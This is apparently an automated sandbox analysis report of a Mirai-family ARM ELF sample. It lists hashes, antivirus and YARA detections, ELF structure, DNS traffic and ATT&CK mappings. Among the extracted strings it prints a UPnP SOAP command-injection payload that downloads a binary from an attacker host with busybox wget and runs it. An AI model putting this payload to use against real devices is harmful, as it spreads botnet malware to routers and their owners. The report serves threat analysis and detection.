Edit tour

Linux Analysis Report
CAtgZotl2p.elf

Overview

General Information

Sample Name:	CAtgZotl2p.elf
Original Sample Name:	05e0d5b0aa84ca78446d17c06417d27e.elf
Analysis ID:	1351992
MD5:	05e0d5b0aa84ca78446d17c06417d27e
SHA1:	0ca79c0d02a92079640457c616332e80b8e98c4a
SHA256:	f067f5bef259ad96ad0ffe070ef872af1d8b9f4bf21f6552f8a481e64191a6d1
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Exit code information suggests that the sample terminated abnormally, try to lookup the sample's target architecture.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1351992
Start date and time:	2023-12-02 10:47:40 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	CAtgZotl2p.elf renamed because original name is a hash value
Original Sample Name:	05e0d5b0aa84ca78446d17c06417d27e.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/CAtgZotl2p.elf
PID:	5454
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

CAtgZotl2p.elf (PID: 5454, Parent: 5371, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/CAtgZotl2p.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
CAtgZotl2p.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
CAtgZotl2p.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5454.1.00007efb98017000.00007efb98035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5454.1.00007efb98017000.00007efb98035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: CAtgZotl2p.elf PID: 5454	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CAtgZotl2p.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: CAtgZotl2p.elf	ReversingLabs: Detection: 67%
Source: CAtgZotl2p.elf	Virustotal: Detection: 56%			Perma Link

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CAtgZotl2p.elf	String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: CAtgZotl2p.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: CAtgZotl2p.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal72.troj.linELF@0/0@2/0

Source: /tmp/CAtgZotl2p.elf (PID: 5454)

Queries kernel information via 'uname':

Jump to behavior

Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp	Binary or memory string: ~qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/CAtgZotl2p.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/CAtgZotl2p.elf
Source: CAtgZotl2p.elf, 5454.1.0000563e80d9e000.0000563e80ecc000.rw-.sdmp	Binary or memory string: >V!/etc/qemu-binfmt/arm
Source: CAtgZotl2p.elf, 5454.1.0000563e80d9e000.0000563e80ecc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: CAtgZotl2p.elf, type: SAMPLE
Source: Yara match	File source: 5454.1.00007efb98017000.00007efb98035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CAtgZotl2p.elf PID: 5454, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: CAtgZotl2p.elf, type: SAMPLE
Source: Yara match	File source: 5454.1.00007efb98017000.00007efb98035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CAtgZotl2p.elf PID: 5454, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Application Layer Protocol	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CAtgZotl2p.elf	68%	ReversingLabs	Linux.Trojan.Mirai
CAtgZotl2p.elf	56%	Virustotal		Browse
CAtgZotl2p.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.Z.A

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://scan.chromies.cf/9x83HE5AFD/arm7.jade	CAtgZotl2p.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	CAtgZotl2p.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	CAtgZotl2p.elf	false	high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	KKb8ltPB5k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	56dyMA6RPt.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	K6TLLxsUm4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	knRfwWDhoJ.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	0r0zSATcKS.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	RRV8vn1LmA.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	7PpPeXowYv.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	bot.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6-20231127-1933.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	SecuriteInfo.com.ELF.Merlin-C.17284.15348.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	25QekUEI7u.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	SecuriteInfo.com.ELF.Mirai-CLZ.14797.9662.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	SecuriteInfo.com.ELF.Mirai-CLZ.13548.1196.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6-20231125-2109.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	SecuriteInfo.com.ELF.Mirai-CLZ.11900.31985.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	SecuriteInfo.com.ELF.Mirai-CLZ.9952.8166.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	SecuriteInfo.com.ELF.Mirai-CLZ.23937.20485.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	YEcmxSymXx.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	H2OePICEV5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	Bc25hLUROc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.07457871760232
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	CAtgZotl2p.elf
File size:	124'212 bytes
MD5:	05e0d5b0aa84ca78446d17c06417d27e
SHA1:	0ca79c0d02a92079640457c616332e80b8e98c4a
SHA256:	f067f5bef259ad96ad0ffe070ef872af1d8b9f4bf21f6552f8a481e64191a6d1
SHA512:	816355ffb82fc3a0ad9ba7ac71b22c0a0c95e26f29614d285ad8c5f9c60c8784c8d728308e1ff367466e73b157f77cafb611136dff9f8b564474e75f390e3047
SSDEEP:	3072:QhlSAljDnYNmZL7YqttC4cCraRkFQRlOYPYMTl:QhlSAxDLzI47ra6wljLTl
TLSH:	ECC31A82AC419B15DAC3167AFE1F108E331257ACF3ED73129D145B2477CA91B0E7B61A
File Content Preview:	.ELF..............(.....T...4...T.......4. ...(.....................................................................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	123732
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1ab8c	0x0	0x6	AX	16
.fini	PROGBITS	0x22c3c	0x1ac3c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x22c50	0x1ac50	0x29bc	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x2e004	0x1e008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x2e008	0x1e00c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x2e010	0x1e014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x2e084	0x1e088	0x25c	0x0	0x3	WA	4
.bss	NOBITS	0x2e2e0	0x1e2e4	0x28d4	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1e2e4	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1e2f4	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x1d60c	0x1d60c	6.1638	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1e004	0x2e004	0x2e000	0x2e0	0xabb0	3.6880	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2023 10:48:48.307266951 CET	58340	53	192.168.2.13	1.1.1.1
Dec 2, 2023 10:48:48.307327986 CET	56372	53	192.168.2.13	1.1.1.1
Dec 2, 2023 10:48:48.436078072 CET	53	56372	1.1.1.1	192.168.2.13
Dec 2, 2023 10:48:48.438626051 CET	53	58340	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2023 10:48:48.307266951 CET	192.168.2.13	1.1.1.1	0x6f77	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2023 10:48:48.307327986 CET	192.168.2.13	1.1.1.1	0xe388	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2023 10:48:48.438626051 CET	1.1.1.1	192.168.2.13	0x6f77	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 2, 2023 10:48:48.438626051 CET	1.1.1.1	192.168.2.13	0x6f77	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: CAtgZotl2p.elf PID: 5454, Parent PID: 5371

General

Start time (UTC):	09:48:45
Start date (UTC):	02/12/2023
Path:	/tmp/CAtgZotl2p.elf
Arguments:	/tmp/CAtgZotl2p.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report CAtgZotl2p.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: CAtgZotl2p.elf PID: 5454, Parent PID: 5371

General

Chronological Activities

Linux Analysis Report
CAtgZotl2p.elf